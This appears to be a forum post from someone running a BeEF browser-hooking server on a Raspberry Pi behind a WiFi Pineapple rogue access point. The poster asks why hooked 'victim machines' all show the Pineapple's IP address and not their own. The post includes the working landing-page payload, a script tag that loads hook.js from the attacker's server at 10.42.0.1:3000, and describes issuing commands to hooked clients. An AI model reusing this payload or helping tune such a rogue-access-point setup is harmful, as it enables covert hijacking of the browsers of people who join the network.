My setup....
I'm running beef on a raspberrypi that is hosting a hotspot, the raspberrypi shares internet from eth0 to wlan0
my pineapple uses wlan2 to connect to the raspberry pi and uses a beef hook as the landing page with.....
<html><head></head><body><script src="http://10.42.0.1:3000/hook.js"type="text/javascript"></script></body></html>
Pineapple clients are on the 172 network
RaspberryPi to Pineapple uses 10 network
Home address uses 192 network
I am running Kali on both my attacker machine and the RaspberryPi, I have configured both machines to point to networks residing inside each network. (route -add x.x.x.x/24 gw x.x.x.x)
Everything works for me but I have one thing that really bothers me.....
Clients connecting to 172 get hooked, and I can issue commands from beef, but I see every target as 10.42.0.194 (the pineapple wlan2 IP)
is there any way I can see hooked clients on my raspberrypi with clients actual IP addresses? Attached is a picture of a mess (2/3 victim machines)